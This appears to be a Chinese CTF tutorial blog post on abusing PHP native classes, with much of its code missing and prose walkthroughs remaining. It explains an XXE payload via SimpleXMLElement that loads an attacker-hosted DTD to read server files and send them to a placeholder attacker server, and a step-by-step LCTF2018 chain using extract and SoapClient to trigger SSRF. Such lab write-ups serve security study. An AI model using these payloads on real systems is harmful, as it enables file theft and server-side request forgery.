【PHP_原生函数的利用】

一、什么是原生类



二、什么情况下需要原生类

三、目录文件读取类

Directorylterator


Filesystem

GlobIterator

遍历目录类 | 绕过open_basedir

文件读取类 | SpIFileObject

不能用遍历可以用伪协议


练习



四、报错类

Error


报错类 | XSS利用



绕过哈希比较

五、原生类

反射类



练习


六、压缩类




运行后就可以看到shell.php 被删除了

练习



七、SimpleXMLElement


练习


evil.xml:定义了外部实体引用,通过http://xxx.xxx.xxx.send.dtd加载远程DTD文件

send.dtd:定义了实体%file读取服务器文件(如function.php)并Base64编码,然后通过实体%all和%send将数据外带到攻击者的HTTP服务器(http://xxx.xxx.xxx.xx:1234/)。

module=SimpleXMLElement:指定实例化PHP内置的 SimpleXMLElement类。

args[]=http://xxx.xxx.xxx.xxx/evil.xml:这是传递给类构造函数的 第一个参数($data)。它告诉 SimpleXMLElement从一个 远程URL​ 加载XML数据。这个URL指向攻击者控制的VPS上的 evil.xml文件。

args[]=2:这是 第二个参数($options)。值 2对应 LIBXML_NOENT常量,该选项会启用外部实体替换,这是XXE攻击能够成功的关键。

args[]=true:这是 第三个参数($data_is_url)。设为 true表示第一个参数 ($data) 是一个XML文件的URL,而不是直接的XML字符串。

受害者服务器(靶场):当访问上述链接时,show.php会实例化 SimpleXMLElement类。

类加载远程XML:由于 $data_is_url为 true,该类会向 http://xxx.xxx.xxx.xxx/evil.xml发起HTTP请求,获取恶意XML内容。

攻击者VPS(evil.xml):evil.xml文件中包含了恶意的 DTD(文档类型定义)。这个DTD通常会做两件事:

定义一个外部实体,通过 php://filter等伪协议去读取服务器本地的敏感文件(如 function.php、index.php等),并进行Base64编码。

定义另一个外部实体,将读取到的文件内容通过一个HTTP请求发送到攻击者VPS的另一个监听端口。

解析与数据外带:SimpleXMLElement在解析 evil.xml时,因为启用了 LIBXML_NOENT,会执行DTD中定义的这些操作。

八、SoapClient 类


通过换行符构造了一个post 将原本的header信息挤进了body里面

练习

先拆解 index.php关键代码的作用:

b = 'implode' 将字符串 'implode' 赋值给变量 b

call_user_func(_GET\['f'\], _POST); 核心漏洞点

call_user_func用于"调用由第一个参数指定的函数,第二个参数是传递给该函数的数组型参数"。因此,攻击者可通过 GET的 f 参数指定任意函数,通过 POST传递函数参数,实现任意函数调用。

复制代码
if(isset($_GET['name'])){ $_SESSION['name'] = $_GET['name']; }:若 GET传 name,则将其值存入会话 $_SESSION['name']。

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');:reset($_SESSION)

取会话数组的第一个元素值,因此 $a是 [会话第一个元素值, 'welcome_to_the_lctf2018']。

call_user_func(b, a); 因 b=′implode′,等价于implode(b = 'implode',等价于 implode(b=′implode′,等价于implode(a) 将 $a数组用空字符串拼接成一个新字符串。

所以这段代码的含义就是通过 call_user_func 将传入的 f 当成函数来执行post里面里的参数,如果有给name传入参数就将传入的name存到session里面,而flag.php 如果本地访问就将flag存入session

在 index.php 代码中,call_user_func(_GET\['f'\], _POST);允许调用任意函数。通过传入 f=extract,然后 POST数据中包含 b=call_user_func,就能覆盖 $b变量。

复制代码
$b = 'implode';

请求触发覆盖:

复制代码
发送 GET请求:index.php?f=extract

发送 POST数据:b=call_user_func

这会导致执行:

复制代码
call_user_func('extract', $_POST);

相当于:

复制代码
extract($_POST);

extract(_POST)会将 _POST数组中的键值对转换为当前作用域中的变量。例如 _POST\['b'\] = 'call_user_func'会使 b被赋值为 'call_user_func',从而覆盖原来的 $b = 'implode'。

覆盖后,代码最后的 call_user_func(b, a);变为:

复制代码
call_user_func('call_user_func', $a);

这实际上是调用 call_user_func函数,并将 a 作为参数传递。而 a 是一个数组,其第一个元素是 reset($_SESSION)(是我们精心构造的 SoapClient对象),第二个元素是字符串 'welcome_to_the_lctf2018'。

因此,最终执行的是:

复制代码
call_user_func(reset($_SESSION), 'welcome_to_the_lctf2018');

这就会尝试调用 SoapClient对象的 welcome_to_the_lctf2018方法(不存在),从而触发 __call魔术方法,发起 SSRF 请求。

这段代码给session_start函数传入

data = {'serialize_handler': 'php_serialize'}

通过这个 POST 请求,服务器端的 session_start()会使用 php_serialize处理器来处理会话数据,从而保证后续插入的 SoapClient 序列化字符串能被正确解析

构造利用的必要性:

我们需要在 $_SESSION中存入一个包含 SoapClient对象的数组:[SoapClient对象, '方法名'],这样 reset($_SESSION)才能返回这个数组。

只有 php_serialize能正确存储这种结构,保证后续读取时 SoapClient对象被正确恢复(触发 __call)。

相关推荐
JienDa10 小时前
HaiO安装与快速开始
开发语言·php
~央千澈~11 小时前
抖音弹幕游戏开发之第16集:异常处理与稳定性·优雅草云桧·卓伊凡
开发语言·php
JienDa12 小时前
Haio · 海鸥 - 企业级插件化应用平台
开发语言·php
сокол1 天前
【网安-Web渗透测试-漏洞系列】逻辑漏洞(或越权漏洞)
web安全·php
сокол1 天前
【网安-Web渗透测试-漏洞系列】XXE漏洞
xml·web安全·php
сокол2 天前
【网安-Web渗透测试-漏洞系列】文件包含&下载读取
web安全·php
月明长歌2 天前
网络原理初识:从“几台电脑各干各的”到“数据包跨网段飞奔”的一整套思维模型
网络·计算机网络·电脑·php
сокол3 天前
【网安-Web渗透测试-漏洞系列】文件上传漏洞
web安全·php
сокол3 天前
【网安-Web渗透测试-漏洞系列】序列化漏洞
web安全·php